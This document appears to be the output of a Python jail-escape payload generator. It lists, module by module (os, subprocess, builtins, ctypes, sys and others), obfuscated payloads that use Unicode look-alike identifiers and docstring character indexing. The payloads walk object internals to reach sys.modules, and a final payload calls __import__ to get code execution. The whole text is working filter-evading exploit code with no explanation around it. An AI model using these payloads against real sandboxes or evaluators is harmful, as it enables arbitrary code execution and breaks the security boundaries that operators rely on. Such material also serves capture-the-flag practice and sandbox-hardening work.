modules(2 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼
os(16 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼["o"+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)]
subprocess(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+"o"+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(23)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)]
uuid(16 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼[𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[139]]
pydoc(15 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[139]+"o"+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(23)]
multiprocessing(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼["m"+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+"i"+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+"o"+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(23)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+"i"+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(36)]
builtins(15 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[108].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)]
codecs(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(23)+"o"+𝓵𝓲𝓽.__𝑑𝓸𝑐__[139]+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(23)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)]
warnings(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼["w"+"a"+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+"i"+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(36)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)]
base64(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+'a'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]+'6'+'4']
importlib(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼['i'+'m'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+'o'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)]
weakref(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼['w'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]+'a'+𝑑𝓲𝑐.__𝑑𝓸𝑐__[104]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]+𝓵𝓲𝓽.__𝑑𝓸𝑐__[29]]
reprlib(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)]
sys(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)]
linecache(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼[𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(23)+'a'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(23)+'h'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]]
io(3 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼['io']
ctypes(11 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(23)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)]
profile(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+"o"+𝓵𝓲𝓽.__𝑑𝓸𝑐__[29]+"i"+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]]
timeit(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+"i"+"m"+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]+"i"+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)]
_aix_support(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼['_'+'a'+'i'+𝑑𝓲𝑐.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(343)+'_'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+'o'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)]
_osx_support(14 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓼𝓾𝑏𝑐𝓵𝑎𝓼𝓼𝑒𝓼__()[80].__𝓲𝓷𝓲𝓽__.__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__[𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(87)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)].𝓶𝓸𝑑𝓾𝓵𝑒𝓼['_'+'o'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝑑𝓲𝑐.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(343)+'_'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+'o'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)]
exec(3 payloads found): ''.__𝑐𝓵𝑎𝓼𝓼__.__𝓶𝓻𝓸__[1].__𝓻𝑒𝑑𝓾𝑐𝑒_𝑒𝔁__(0,3)[0].__𝑔𝓵𝓸𝑏𝑎𝓵𝓼__['_'+'_'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(13)+𝓵𝓲𝓽.__𝑑𝓸𝑐__[1]+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'i'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(7)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__.__𝑐𝑎𝓵𝓵__(17)+'_'+'_']['_'+'_'+'i'+'m'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+'o'+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(4)+'_'+'_'](𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(85)+𝓵𝓲𝓽.__𝑑𝓸𝑐__.__𝑔𝑒𝓽𝓲𝓽𝑒𝓶__(35)+"o"+𝓵𝓲𝓽.__𝑑𝓸𝑐__[29]+"i"+𝓵𝓲𝓽.__𝑑𝓸𝑐__[3]+𝓵𝓲𝓽.__𝑑𝓸𝑐__[15]).𝓻𝓾𝓷
